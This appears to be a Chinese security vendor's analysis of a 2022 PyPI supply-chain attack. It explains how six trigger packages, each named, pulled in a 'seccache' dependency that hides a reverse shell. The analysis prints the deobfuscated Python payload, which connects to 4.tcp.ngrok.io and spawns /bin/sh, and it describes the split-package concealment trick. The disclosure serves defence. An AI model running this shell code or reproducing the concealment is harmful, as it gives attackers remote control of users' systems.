2022年3月17日12时许,天问Python供应链威胁监测模块捕获到六个可疑包,它们在代码中引用相同依赖包seccache的操作引起了我们的注意,我们立马对这六个包及其依赖包进行了分析,发现这六个恶意包实为通过引用的方式触发依赖包seccache中的反弹shell。在确定了恶意行为后,我们迅速向官方反馈,官方于17日17时许将7个包一并删除。

背景

当我们安装一个结构如下的Python包时,setup.py内的代码会被至执行,seccache文件夹及其包含的四个py文件则会被放到~/lib/python/site-packages下。

当用户运行import seccache时,等同于执行python3 seccache/__init__.py,若想调用其余文件内的函数等信息,则需要执行from seccache import cache_manager等指令。

攻击代码隐藏

当用户安装完seccache包,对这个全新的包不了解也不确定里面有哪些Python文件可被引用,其知道的操作仅为import seccache,攻击者考虑到了这个因素,刻意将__init__.py留为空文件,将恶意代码编写入cache_manager.py中,那么即便用户import seccache也并不会被攻击,将seccache包的攻击性很好的隐藏起来。

cache_manager.py中的恶意代码如下所示:

在反混淆后我们得到了如下代码,其为连接4[.]tcp.ngrok.io的反弹shell:

1
2
3
4
5
6
7
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("4.tcp.ngrok.io",13851))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

攻击代码触发

攻击者在上传seccache恶意包后,使用不同的账号上传触发包6个。

包名
sea-django-mysqlpool
prometheus-http-client-shopee
splib-http
shpee-dynamic-cache
python-splib
kazoo-shopee

这些包在setup.py内声明依赖seccache,包含恶意代码的seccache包会被自动安装,如下图所示:

这些触发包在__init__.py内执行from seccache import cache_manager触发反弹shell。

攻击流程


当用户单独安装恶意包seccache时,恶意代码无法被触发。当用户仅阅读触发包代码时,也无法发现恶意代码的存在。组合攻击运用了Python包之间的依赖关系,将触发和恶意代码通过不同的用户上传,使攻击更加隐蔽。